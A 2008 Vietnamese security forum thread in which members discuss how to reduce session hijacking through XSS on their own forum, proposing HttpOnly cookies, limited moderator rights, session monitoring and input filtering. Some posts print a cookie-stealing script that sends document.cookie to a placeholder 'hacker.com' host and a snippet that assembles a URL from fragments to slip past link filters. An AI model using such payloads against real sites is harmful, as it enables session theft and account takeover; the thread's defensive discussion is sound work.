[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv |
23/02/2008 02:10:20 (+0700) | #31 | 116128 |
mR.Bi
Member
|
0 |
|
|
Joined: 22/03/2006 13:17:49
Messages: 812
Offline
|
|
@mR.Bi: lọc hết js thì mất hết hay của web rùi còn gì
thế ko phải các bác đang lọc đầu vào à? "đầu vào" ở đây là việc input các Script mang tính dung hại từ phía user cơ mà, có liên quan gì tới web đâu nhở |
|
All of my life I have lived by a code and the code is simple: "honour your parent, love your woman and defend your children" |
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server |
23/02/2008 02:12:13 (+0700) | #32 | 116130 |
|
vivashadow
Member
|
0 |
|
|
Joined: 08/01/2008 12:36:49
Messages: 95
Offline
|
|
Lạc đề rồi, session hijack mà. |
|
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv |
23/02/2008 02:12:28 (+0700) | #33 | 116131 |
boom_jt
Member
|
0 |
|
|
Joined: 02/08/2007 23:51:10
Messages: 125
Offline
|
|
Hì hì, tất nhiên thấy được nguy cơ thì mới đề ra giải pháp, cái ; là từ trường hợp của bồ đưa ra :">
Ví dụ sql inj của bồ rất hay!! Nói chuyện với gamma thích ghê, lúc nào cũng có cái cho mình học tập á
Với trường hợp như vậy thì người lập trình phải nghĩ đến khả năng bị select từ bảng khác, và làm 1 cái kiểm tra $_GET[table] có thuộc vào A,B,C... (đến 10 bảng là kí tự nào ha :">. Tất nhiên cách kiểm tra này cũng chỉ dùng trong trường hợp cụ thể của bồ, cũng giống như lỗi LFI thì cũng phải kiểm tra xem tên file truyền từ người dùng có ok ko ý mà |
|
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server |
23/02/2008 03:37:37 (+0700) | #34 | 116149 |
PXMMRF
Administrator
|
Joined: 26/09/2002 07:17:55
Messages: 946
Offline
|
|
Vâng tôi xin viết tiếp bài post còn viết chưa xong ở trên.
Nhưng trước hết xin các bạn đọc kỹ vấn đề mà anh conmale đặt ra và đề nghị thảo luận. Tránh đi lạc đề, thí dụ lại bàn về Sql injection vulnerabilities. Trong khi lỗi SQL injection khác hoàn toàn với lỗi XSS về rất nhiều mặt.
Coi chừng có bạn chưa đọc gì về XSS mà cứ cho nhiều ý kiến quá. Bản thân tôi đã đọc rất nhiều tài liệu về XSS từ cách đây 2-3 năm cho đến nay và check nhiều website phát hiện ra lỗi XSS, mà bản thân tôi thú thực cũng không hiểu nhiều, kỹ về XSS. Nó quá phức tạp và rối rắm.
Thôi thì có bạn nào hiểu kỹ về XSS thì viết bổ sung cho phần định nghĩa, mô tả, phân loại và nguyên tắc hoạt động của từng loại XSS. Thank you in advance!
Tôi xin viết tiếp bài trên, đi ngay vào vấn đề anh conmale đề câp. Còn các nôi dung bổ sung kiến thức về XSS sẽ nhờ các bạn khác bổ sung, như nói ở trên.
Trong khi HVA chúng ta chưa có thời gian và điều kiện phát hiện hết các lỗi XSS tồn tại ở các URL, khu vực khác nhau của Website-webserver, thì theo tôi để tránh tác hại của của việc hacker "chôm " đựoc HTTP header+cookie của một Vmod, Mod nào đó thông qua lỗi XSS của HVA forum, rồi tái sử dụng nó ngay trong phiên kết nối còn giá trị, kết nối vào HVA, ta nên có các biện pháp sau;
1- Hạn chế quyền của VMod và Mod, đặc biệt trong việc "xóa" bài. Thí dụ chỉ cho phép Vmod hay Mod xóa nhiều nhất là 5 post trong một phiên kết nối và hoàn toàn không có quyền xóa toàn bộ một topic, cũng như chỉ cho phép "ban" hay "warning" tối đa 1 nick trong một phiên kết nối. (Thưc ra quyền hạn của Mod hay VMod trong HVA vốn cũng đã hạn chê).
2- Khi chỉ xem forum, post bài, các Admin. không nên truy cập vào HVA forum dứoi nickname- password của một Administrator, với quyền hạn như của một "root", mà chỉ nên truy cập vào dưới nickname và password với quyền hạn như của một Mod. Còn khi config. lại Forum mới dùng quyền của Admin-root.
Còn để có cơ may phát hiện ra khả năng một hacker sử dụng HTTP header+cookie chiếm đoạt để tái truy cập vào HVA forum thì theo tôi có thể thử dùng vài cách sau:
1- Áp dụng suy luận "ngoại phạm" hay "nôi phạm" gì đó của bên công an điều tra. Nghĩa là về nguyên tắc một user, tại một thời điểm xác định (theo Date và Time của Server) thì không thể cùng có mặt tại hai URL khác nhau. Ở đây có thể cải tiến tiện ích hiện hữu vốn rất hay của HVA forum là "ai đang làm gì, ở đâu" để phát hiện ra hacker.
2- Cải tiến một tiện ích Monitoring user hay đựoc cài trên các Website, từ đó phát hiện ra một nickname nào đó lại dùng các OS, trình duyệt... khác nhau trong cùng một phiên kết nối. Từ đó phát hiện khả năng nickname này đang bị chiếm đoạt.
3- Config Webserver-forum (vì Webserver của HVA chỉ hosting một HVA forum) để không cho phép một user đã truy cập thành công vào forum, lại có thể truy cập tiếp lần thứ hai vào forum.
Tuy nhiên cả hai cách 1-2 nói trên sẽ có một hạn chế trong trừong hợp là: hacker truy cập đến máy trong khi user thưc còn "đứng" trong forum, nhưng ngay sau đó thì user thưc lại tắt kết nối vào HVA forum mà không làm thủ tục "Đăng xuất", như ta vẫn hay thường làm như vậy.
Còn để đề phòng cũng có các biện pháp sau:
- Không cho users có thể insert các image hosted trên webserver khác vào HVA forum, đặc biệt vào các chỗ nhạy cảm, dễ có lỗi XSS, thí dụ như tại nơi đặt "signature".
- Tại các chỗ nhạy cảm nói trên , thâm chí không cho phép đặt môt link (dưới bất cứ hình thức nào) để có thể kết nối với một website bên ngoài, dù user có click chuột hay không.
- Thiết lập một cơ chế kiểm soát HVA forum từ một Webserver bên ngoài, bao quát mọi HVA forum URL. Lắp đặt các tiện ích monitoring để phát hiện Hijacking lơi dụng lỗi XSS. Tuy nhiên chi tiết việc này xin phép không nói rõ. (Việc này cách đây 2 năm tôi cũng đã đề cập với anh conmale. Anh đã tán thành, bàn cách làm. Nhưng vì bận quá và thấy chưa thật cần nên chúng tôi cũng lười chưa làm)
|
|
The absence of disagreement is not harmony, it's apathy.
(Socrates)
Honest disagreement is often a good sign of progress.
(Mahatma Gandhi)
|
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv |
23/02/2008 05:44:28 (+0700) | #35 | 116175 |
PXMMRF
Administrator
|
Joined: 26/09/2002 07:17:55
Messages: 946
Offline
|
|
gamma95 wrote:
Đối với XSS thì lọc đầu vào quan trọng hay lọc đầu ra quan trọng nhỉ ?
Lão gamma95 luôn đặt ra những câu hỏi thông minh, ý nhị và đượm chút láu lỉnh.
Vậy thì giống như ta vào một cửa hàng mua đồ, nhưng cửa hàng nhiều bụi. Nên chủ cửa hàng thiết kế một hệ thống hút bụi đặt ngoài cửa và hệ thống này sẽ có nhiệm vụ hút hết bụi bậm trên quần áo khách hàng lúc ra khỏi cửa hàng?. Hì hì.
Nhưng xin hỏi lại gamma95 một câu để đựoc chỉ giáo, là: Trong quá trình nạn nhân (thành phần thứ 2) "chủ động" kết nối đến một Webserver độc hại, có "cơ cấu" chôm HTTP header+cookie, (bằng cách vô tình click chuột vào một link nào đấy trên HVA forum), hay "bị động" bị dẫn đến đó, thì cái "khối" HTTP header+cookie của nạn nhân vừa truy cập vào HVA ấy, nó "nằm" (located) ở đâu? Trên HVA forum hay trên máy của nạn nhân? trứoc khi nó bị chuyển về Webserver độc hại.
Thanks for your reply! |
|
The absence of disagreement is not harmony, it's apathy.
(Socrates)
Honest disagreement is often a good sign of progress.
(Mahatma Gandhi)
|
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv |
23/02/2008 06:36:34 (+0700) | #36 | 116185 |
boom_jt
Member
|
0 |
|
|
Joined: 02/08/2007 23:51:10
Messages: 125
Offline
|
|
Ok, nói qua về HttpOnly như vivashadow đã đề cập nhé. Cũng phải xin lỗi các bác 1 chút vì theo mình thì đây vẫn là giải pháp nặng về phía client (có nghĩa là có thể lạc với yêu cầu "server" của bác conmale)
HttpOnly là 1 trường cookie được thêm vào kể từ MS Internet Explorer 6 SP1. Khi set trường này, thì browser hỗ trợ cờ này sẽ ko cho phép javascript truy cập vào document.cookie -> loại bỏ khả năng lấy cookie.
Với Firefox, mình có thấy 1 extention tương tự như vậy (cũng mang tên HttpOnly): https://addons.mozilla.org/en-US/firefox/addon/3629 mọi người thử xem nhé
tham khảo: http://msdn2.microsoft.com/en-us/library/ms533046.aspx |
|
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv |
23/02/2008 06:50:00 (+0700) | #37 | 116190 |
|
gamma95
Researcher
|
Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa">
Offline
|
|
PXMMRF wrote:
gamma95 wrote:
Đối với XSS thì lọc đầu vào quan trọng hay lọc đầu ra quan trọng nhỉ ?
Lão gamma95 luôn đặt ra những câu hỏi thông minh, ý nhị và đượm chút láu lỉnh.
Vậy thì giống như ta vào một cửa hàng mua đồ, nhưng cửa hàng nhiều bụi. Nên chủ cửa hàng thiết kế một hệ thống hút bụi đặt ngoài cửa và hệ thống này sẽ có nhiệm vụ hút hết bụi bậm trên quần áo khách hàng lúc ra khỏi cửa hàng?. Hì hì.
Nhưng xin hỏi lại gamma95 một câu để đựoc chỉ giáo, là: Trong quá trình nạn nhân (thành phần thứ 2) "chủ động" kết nối đến một Webserver độc hại, có "cơ cấu" chôm HTTP header+cookie, (bằng cách vô tình click chuột vào một link nào đấy trên HVA forum), hay "bị động" bị dẫn đến đó, thì cái "khối" HTTP header+cookie của nạn nhân vừa truy cập vào HVA ấy, nó "nằm" (located) ở đâu? Trên HVA forum hay trên máy của nạn nhân? trứoc khi nó bị chuyển về Webserver độc hại.
Thanks for your reply!
Chào bác PXM
cookie thì nằm trên máy nạn nhân, còn bản thân cái khối HTTP Header của HVA thì ko lấy được vì bản thân khi cookie bay vế host của Attacker + kèm theo HTTP header truy cập đến host Attacker mà thôi ( tuy nhiên trong HTTP Header này chứa một số thông tin quan trọng như User-Agent, Referer (từ HVA) ...) Chừng đó thông tin cũng đủ để Attacker giả mạo HTTP Header hợp lệ đến HVA để bypass qua một số bước check ( như comboHash chẳng hạn).
ko biết cháu trả lời thế đúng ý bác PMX ko?
Còn về giải pháp HttpOnly cũng ko phải là một giải pháp toàn diện, vì trong một số trường hợp cụ thể, nó vẫn có thể bị bypass
|
|
Cánh chym không mỏi
lol |
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv |
23/02/2008 07:02:18 (+0700) | #38 | 116193 |
boom_jt
Member
|
0 |
|
|
Joined: 02/08/2007 23:51:10
Messages: 125
Offline
|
|
gamma95 wrote:
cookie thì nằm trên máy nạn nhân, còn bản thân cái khối HTTP Header của HVA thì ko lấy được vì bản thân khi cookie bay vế host của Attacker + kèm theo HTTP header truy cập đến host Attacker mà thôi ( tuy nhiên trong HTTP Header này chứa một số thông tin quan trọng như User-Agent, Referer (từ HVA) ...) Chừng đó thông tin cũng đủ để Attacker giả mạo HTTP Header hợp lệ đến HVA để bypass qua một số bước check ( như comboHash chẳng hạn).
ko biết cháu trả lời thế đúng ý bác PMX ko?
Còn về giải pháp HttpOnly cũng ko phải là một giải pháp[color=yellow] ko toàn diện[/color], vì trong một số trường hợp cụ thể, nó vẫn có thể bị bypass
ý bác là HttpOnly là giải pháp ko toàn diện đúng ko nếu thế thì hoàn toàn đồng ý với bác ^_^ |
|
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv |
23/02/2008 07:24:45 (+0700) | #39 | 116200 |
PXMMRF
Administrator
|
Joined: 26/09/2002 07:17:55
Messages: 946
Offline
|
|
gamma95 wrote:
Chào bác PXM
cookie thì nằm trên máy nạn nhân, còn bản thân cái khối HTTP Header của HVA thì ko lấy được vì bản thân khi cookie bay vế host của Attacker + kèm theo HTTP header truy cập đến host Attacker mà thôi ( tuy nhiên trong HTTP Header này chứa một số thông tin quan trọng như User-Agent, Referer (từ HVA) ...) Chừng đó thông tin cũng đủ để Attacker giả mạo HTTP Header hợp lệ đến HVA để bypass qua một số bước check ( như comboHash chẳng hạn).
ko biết cháu trả lời thế đúng ý bác PMX ko?
Còn về giải pháp HttpOnly cũng ko phải là một giải pháp toàn diện, vì trong một số trường hợp cụ thể, nó vẫn có thể bị bypass
Đúng quá đi chứ! Đúng là đúng với thưc tê, chứ không phải với ý của tôi. Tôi chỉ biết hỏi thôi mà! Hì hì.
Nhưng mà nếu như vậy:
- Để khắc phục, hay loại trừ lỗi XSS (gây tổn hại cho nạn nhân) thì có cần, hay có nên lọc "đầu vào" và "đầu ra" của HVA forum hay không?. Nếu "yes" thì nên lọc cái gì?
- Nguyên nhân cụ thể nào khiến cho trình duyệt của ta lại "chịu" hay "phải" gửi cookie (cookie truy cập thành công vào HVA, có giá trị cho một phiên kết nối hiện hành vào HVA, thường lưu trữ trong Internet Temp. files của máy ta) đến Webserver độc hại, cùng với "HTTP GET header" truy cập đến webserver độc hại này? (Còn lỗi gốc là lỗi XSS trên HVA forum rồi đấy.)
Cụ thể hơn là trình duyệt của ta lúc truy cập vào nơi có XSS vulnerability thì có chịu những "ảnh hưởng", "tổn thưong" gì hay không? Tổn thương ở đâu và tai sao?
Xin chỉ giáo tiếp!
|
|
The absence of disagreement is not harmony, it's apathy.
(Socrates)
Honest disagreement is often a good sign of progress.
(Mahatma Gandhi)
|
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv |
23/02/2008 08:05:54 (+0700) | #40 | 116205 |
|
gamma95
Researcher
|
Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa">
Offline
|
|
@bác PXM:
cháu ví dụ:
HVA bị XSS và hacker chèn đoạn này vào chữ ký:
<script> window.location="http://hacker.com/cookie.php?cookie="+document.cookie;</script>
thì bản thân function "document.cookie" có chức năng đọc cookie của HVA, sau đó giá trị của cookie đóng vai trò là một @argument và gửi đến script đọc giá trị @argument đó và ghi vào file log.txt của hacker thôi. Còn câu hỏi của bác PMX là có chịu tổn thương gì ko thì theo cháu muốn trả lời được thì phải xem XSS ngoài chuyện lấy cookie ra thì có thể làm đc những gì? Ví dụ như Phishing, pharming, cài mã độc, hay dùng những 0-day exploit của browser etc ?? |
|
Cánh chym không mỏi
lol |
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv |
23/02/2008 09:15:21 (+0700) | #41 | 116212 |
|
ThíchHắcKinh
Member
|
0 |
|
|
Joined: 05/11/2007 21:56:23
Messages: 85
Location: Thiếu Lâm Tự
Offline
|
|
Tôi cũng có vài ý kiến bàn về tính khả thi dựa theo các phương pháp phòng ngừa tác hại do XSS gây ra cho diễn đàn nói riêng và website nói chung.
Nếu nhìn chung thì XSS thực sự nguy hiểm nhất là từ việc kẻ tấn công cướp hoặc giả mạo được phiên truy cập của các tài khoản cấp cao (từ VMod,Mod ) trở lên nên nhìn chung các cách của Bác Mai đưa ra phần nào cũng hạn chế được tác hại, tuy nhiên nếu xem kỹ về tính khả thi cũng như về tính tiện ích cho diễn đàn thì có phần bị hạn chế
Chẳng hạn:
PXMMRF wrote:
1- Hạn chế quyền của VMod và Mod, đặc biệt trong việc "xóa" bài. Thí dụ chỉ cho phép Vmod hay Mod xóa nhiều nhất là 5 post trong một phiên kết nối và hoàn toàn không có quyền xóa toàn bộ một topic, cũng như chỉ cho phép "ban" hay "warning" tối đa 1 nick trong một phiên kết nối. (Thưc ra quyền hạn của Mod hay VMod trong HVA vốn cũng đã hạn chê).
Vấn đề này thực ra không hạn chế được bao nhiêu vì nếu kẻ tấn công đã nắm rõ được phương thức tấn công thì cứ mỗi phiên cướp được họ sẽ ra tay và cứ thế. ngược lại cách này chúng ta phải can thiệp vào code khá nhiều. Nhưng hạn chế vẫn chưa cao.
PXMMRF wrote:
2- Khi chỉ xem forum, post bài, các Admin. không nên truy cập vào HVA forum dứoi nickname- password của một Administrator, với quyền hạn như của một "root", mà chỉ nên truy cập vào dưới nickname và password với quyền hạn như của một Mod. Còn khi config. lại Forum mới dùng quyền của Admin-root.
Bàn về cách này của bác Mai ví dụ như kẻ tấn công đã có chủ ý và lỗi đó bị khai thác trong phần chữ ký chẳng hạn thì kẻ đó hoàn toàn có thể gởi một PM trực tiếp đến tài khoản có quyền quản trị cao nhất (chẳng hạn như quanlytruong) chẳng hạn thì khi (quanlytruong) đọc tin nhắn có kèm theo chữ ký thì hoàn toàn đã bị hacker cướp được. và lúc đó Hacker đang vẫn có thể khai thác với quyền tối cao.
PXMMRF wrote:
1- Áp dụng suy luận "ngoại phạm" hay "nôi phạm" gì đó của bên công an điều tra. Nghĩa là về nguyên tắc một user, tại một thời điểm xác định (theo Date và Time của Server) thì không thể cùng có mặt tại hai URL khác nhau. Ở đây có thể cải tiến tiện ích hiện hữu vốn rất hay của HVA forum là "ai đang làm gì, ở đâu" để phát hiện ra hacker.
Cách này cũng là một biện pháp nhưng nó lại hạn chế tính năng của người truy cập, bởi vì giả sử người truy cập đang xem ở mục này vẫn có thể xem các bài viết ở mục khác đồng thời, và nếu ta hạn chế như thế sẽ gây cản trở cho họ.
2- Cải tiến một tiện ích Monitoring user hay đựoc cài trên các Website, từ đó phát hiện ra một nickname nào đó lại dùng các OS, trình duyệt... khác nhau trong cùng một phiên kết nối. Từ đó phát hiện khả năng nickname này đang bị chiếm đoạt.
Vấn đề này đúng là mọi người cũng đã và đang bàn tới.
Có ý kiến của bạn nào đó nói là khi Mod hoặc vMod thực hiện thao tác nào đó thì ta nên có môt mục để cho họ confirm lại pass một lần nữa theo tôi cách này xem ra không được tiện cho Mod hoặc Vmod nhưng độ an toàn là rất cao và dễ triển khai về phía server. Một ý kiến khá hay. Vì thực ra hacker chỉ chiếm được phiên truy cập dựa trên XSS nhưng hacker không hề biết được mật khẩu của Vmod và Mod thì xem ra cũng bó tay.
Ngoài ra có một phương thức như kiểu check IP download như của rapidshare (tức là IP xác định đó đi kèm tài khoản xác định chẳng hạn... Không biết có khả thi không? Như Với một tài khoản truy cập một thời điểm đi kèm với một Ip xác định ta chỉ thực hiện một thao tác (với rapidshare là download). Có thể Ip có thể trùng nhau nhưng cả Ip và Username trùng nhau cùng một thời điểm thì hơi bị hiếm hoặc giả cùng một username và khác Ip thì hoàn toàn là tài khoản đó đang bị tấn công.
Thân. |
|
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv |
23/02/2008 11:28:04 (+0700) | #42 | 116238 |
|
done
Locked
|
0 |
|
|
Joined: 22/02/2008 21:34:25
Messages: 14
Location: Invisible Zone
Offline
|
|
Theo ngu ý của tôi thì admin nên deny tất cả những link động trên web app mà Users có thể tạo ra. |
|
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server |
23/02/2008 22:31:11 (+0700) | #43 | 116276 |
|
lQ
Moderator
|
Joined: 29/03/2005 17:06:20
Messages: 494
Offline
|
|
Sự cố 'con gián' do mod gamma95 tìm ra ko liên quan gì đến link động. |
|
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv |
23/02/2008 22:50:57 (+0700) | #44 | 116281 |
|
done
Locked
|
0 |
|
|
Joined: 22/02/2008 21:34:25
Messages: 14
Location: Invisible Zone
Offline
|
|
lQ wrote:
Sự cố 'con gián' do mod gamma95 tìm ra ko liên quan gì đến link động.
Oh, theo tôi nghĩ là có chứ nhỉ. Cái link động được che đậy sau cái ảnh trong một thẻ script. |
|
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv |
23/02/2008 23:41:36 (+0700) | #45 | 116288 |
|
conmale
Administrator
|
Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
|
|
Hay lắm. Tiếp tục đi các bạn . |
|
What bringing us together is stronger than what pulling us apart. |
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server |
24/02/2008 00:00:10 (+0700) | #46 | 116290 |
|
Look2Me
Member
|
0 |
|
|
Joined: 26/07/2006 23:30:57
Messages: 235
Location: Tủ quần nào
Offline
|
|
Đối với XSS thì lọc đầu vào quan trọng hay lọc đầu ra quan trọng nhỉ ?
@gamma95: oki you re right!
Hồi trước mình làm bộ lọc là lọc chung cho SQL và XSS. Lúc đó cũng đã nhận ra một số bất cập trong việc xử lý XSS như gama đã nói.
@PMMM jj đó: Theo bồ không check đầu vào, đầu ra thì liệu có khắc phục triệt để XSS?
Cookie, HTTP header của bồ đều có thể giả mạo. |
|
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv |
24/02/2008 00:35:00 (+0700) | #47 | 116293 |
|
gamma95
Researcher
|
Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa">
Offline
|
|
done wrote:
lQ wrote:
Theo ngu ý của tôi thì admin nên deny tất cả những link động trên web app mà Users có thể tạo ra.
Sự cố 'con gián' do mod gamma95 tìm ra ko liên quan gì đến link động.
Oh, theo tôi nghĩ là có chứ nhỉ. Cái link động được che đậy sau cái ảnh trong một thẻ script.
hello done! nếu Attacker chèn như thế này thì liệu có bypass được cái lọc link động của bạn ko??
Code:
<script>
var a='http://';
var b='www.';
var c='hacker';
var d='.net';
window.location=a+b+c+d;
</script>
|
|
Cánh chym không mỏi
lol |
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv |
24/02/2008 01:41:34 (+0700) | #48 | 116304 |
boom_jt
Member
|
0 |
|
|
Joined: 02/08/2007 23:51:10
Messages: 125
Offline
|
|
hí hí, chủ đề hay ghê, có lẽ phải đổi tên chút cho anh em bàn luận thoải mái về xss, chứ không chỉ ngăn chặn session hijacking á. Mà xem chừng có vẻ chưa có đc giải pháp nào triệt để với với vấn đề này rồi |
|
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv |
24/02/2008 01:52:41 (+0700) | #49 | 116308 |
|
ThíchHắcKinh
Member
|
0 |
|
|
Joined: 05/11/2007 21:56:23
Messages: 85
Location: Thiếu Lâm Tự
Offline
|
|
boom_jt wrote:
hí hí, chủ đề hay ghê, có lẽ phải đổi tên chút cho anh em bàn luận thoải mái về xss, chứ không chỉ ngăn chặn session hijacking á. Mà xem chừng có vẻ chưa có đc giải pháp nào triệt để với với vấn đề này rồi
Đã nói về bảo mật thực sự không hề có cách gì gọi là triệt để cả vì không ai lường trước hết được tất cả các khả năng có thể xảy ra. Chúng ta chỉ xem xét các cách nào khả thi nhất và tính dễ triển khai nhất đồng thời có thể đáp ứng đủ nhu cầu của người dùng. Nhưng xét cho cùng khâu code vẫn là quan trọng nhất vì người có kinh nghiệm về bảo mật thì chú trọng ngay từ ở bước này có thể nói hạn chế rất nhiều các nguy cơ có thể xảy ra. Suy cho cùng kiểm tra tốt các dữ liệu vào ra đã là một bước thành công lớn để bảo mật cho một ứng dụng.
Thân. |
|
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv |
24/02/2008 06:04:23 (+0700) | #50 | 116333 |
|
conmale
Administrator
|
Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
|
|
boom_jt wrote:
hí hí, chủ đề hay ghê, có lẽ phải đổi tên chút cho anh em bàn luận thoải mái về xss, chứ không chỉ ngăn chặn session hijacking á. Mà xem chừng có vẻ chưa có đc giải pháp nào triệt để với với vấn đề này rồi
Chủ đề này có ý giới hạn chỉ trong phần "session hijacking" và giả định xss vẫn còn thì phải làm thế nào để giảm thiểu dung hại chớ nó không có mục tiêu bàn cách khai thác hoặc khắc phục xss. Thật ra, khi thảo luận về các hướng có thể giảm thiểu dung hại của session hijacking, chúng ta có thể đi đến chiều sâu của giao thức (HTTP) và xác định được những điểm yếu, thiếu sót của giao thức hiện tại, nhìn ra những khả năng có thể (hoặc cần) khắc phục trong phiên bản tới của giao thức. Đây chính là hướng đào sâu một cách thấu đáo để khắc phục bảo mật (hoặc ngược lại, đào sâu một cách thấu đáo để tìm ra những yếu điểm thuộc nền tảng để khai thác).
Thân mến. |
|
What bringing us together is stronger than what pulling us apart. |
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server |
24/02/2008 07:37:38 (+0700) | #51 | 116344 |
PXMMRF
Administrator
|
Joined: 26/09/2002 07:17:55
Messages: 946
Offline
|
|
Look2Me wrote:
Đối với XSS thì lọc đầu vào quan trọng hay lọc đầu ra quan trọng nhỉ ?
@gamma95: oki you re right!
Hồi trước mình làm bộ lọc là lọc chung cho SQL và XSS. Lúc đó cũng đã nhận ra một số bất cập trong việc xử lý XSS như gama đã nói.
@PMMM jj đó: Theo bồ không check đầu vào, đầu ra thì liệu có khắc phục triệt để XSS?
Cookie, HTTP header của bồ đều có thể giả mạo.
Tôi đã nói là không filtering đầu vào đầu ra cụ thể như thế nào đâu nhỉ?
Những câu hỏi dẫn dắt của tôi là để đi đến một nhận định là: Khi một web application, trong trừong hợp đang bàn là HVA forum và có thể kể cả Apache web server nữa, đã mắc lỗi XSS rồi, thì việc lọc đầu vào và đầu ra trên HVA forum-webserver không còn tác dụng cứu nạn nhân nữa. Nghĩa là lúc này không thể áp dụng việc lọc, thí dụ content filter chẳng hạn, để cứu cho nạn nhân (tức là user đã xem hay nhấp một link trên một URL đã mắc lỗi XSS) rồi sẽ không bị hacker chiếm đoạt các thông tin cá nhân, trong đó có cookie nữa. Lọc lúc này thì đã muộn, vì một malicious script của lão gamma95 đã đựoc insert thành công vào signature rồi.
Tuy nhiên là tôi lại rất coi trọng, tuyệt đối coi trọng là khác, yêu cầu lọc input và output của một webserver, đặc biệt là input. Tất cả những đề nghị của tôi ở post trên, thí dụ không cho download các file hình ảnh đang hosting trên một webserver khác về HVA forum, hay không cho thiết lập các link kết nối ở các khu vực nhạy cảm của HVAforum để user đang xem forum có thể kết nối với một webserver bên ngoài..., thì để thưc hiện điều đó phải Input content filtering, chứ còn gì nữa. Nhưng trứoc hết phải phát hiện hết các lỗi XSS, khắc phục, rồi thưc hiện Filtering. Hoặc ngay bây giờ cũng nên áp dụng content filtering để ngăn các lỗi XSS mới hay lỗi cũ bị tái lạm dụng. Nhưng không chỉ cần lọc Input output, ngoài ra còn phải harden hệ thống - thí dụ encoded các HTML entries chẳng hạn...
Nếu ta content filter tốt và config. tốt từ trước, thì gamma95 không thể insert vào vùng "signature " một con gián bò đi, lại ngộ nghĩnh, nhưng nó đã embedded một malicious script...như vừa qua. (gamma95 làm như vậy chỉ là check bảo mật, góp ý cho HVA, không có bất cứ ý đồ xấu nào)
Nhưng XSS là một vấn đề phức tạp, rối rắm. Nói thì dễ, nhưng làm thì khó. Rất khó phát hiện hết các lỗi XSS trên từng URL của HVA forum, vì HVA có gần trăm ngàn URL như vậy. Với XSS thì không có một "Patch" nào hết. Phải sửa tại chỗ và từng chỗ.
|
|
The absence of disagreement is not harmony, it's apathy.
(Socrates)
Honest disagreement is often a good sign of progress.
(Mahatma Gandhi)
|
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv |
24/02/2008 14:02:27 (+0700) | #52 | 116411 |
|
gamma95
Researcher
|
Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa">
Offline
|
|
Thanks bác PXM đã phân tích rất rõ ràng nhiều khía cạnh về cách phòng chống XSS. Nhân đây cháu cũng xin đưa ra ý kiến tham khảo là liệu xác thực dùng "HTTP authentication" có chống được XSS ko? |
|
Cánh chym không mỏi
lol |
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv |
24/02/2008 16:07:18 (+0700) | #53 | 116423 |
boom_jt
Member
|
0 |
|
|
Joined: 02/08/2007 23:51:10
Messages: 125
Offline
|
|
Có vẻ như HTTP authentication cũng ko thể chống đc XSS ... |
|
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv |
24/02/2008 22:58:38 (+0700) | #54 | 116436 |
|
gamma95
Researcher
|
Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa">
Offline
|
|
boom_jt wrote:
Có vẻ như HTTP authentication cũng ko thể chống đc XSS ...
Ok, nhờ bạn boom_it phân tích thêm về nhận định này |
|
Cánh chym không mỏi
lol |
|
|
|
[Question] Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv |
25/02/2008 00:33:12 (+0700) | #55 | 116443 |
PXMMRF
Administrator
|
Joined: 26/09/2002 07:17:55
Messages: 946
Offline
|
|
Chấp hành ý kiến của đồng chí "lãnh đạo" conmale, ta chỉ bàn về chủ đề đã được nêu ra. Tuy đôi chỗ có thể "lan man" chút đỉnh, nhưng cũng hướng về chủ đề trên. Mà ngay chỉ bàn về chủ đề này thôi, cũng có rất nhiều vấn đề hấp dẫn.
gamma95 wrote:
@bác PXM:
cháu ví dụ:
HVA bị XSS và hacker chèn đoạn này vào chữ ký:
<script> window.location="http://hacker.com/cookie.php?cookie="+document.cookie;</script>thì bản thân function "document.cookie" có chức năng đọc cookie của HVA, sau đó giá trị của cookie đóng vai trò là một @argument và gửi đến script đọc giá trị @argument đó và ghi vào file log.txt của hacker thôi. Còn câu hỏi của bác PMX là có chịu tổn thương gì ko thì theo cháu muốn trả lời được thì phải xem XSS ngoài chuyện lấy cookie ra thì có thể làm đc những gì? Ví dụ như Phishing, pharming, cài mã độc, hay dùng những 0-day exploit của browser etc ??
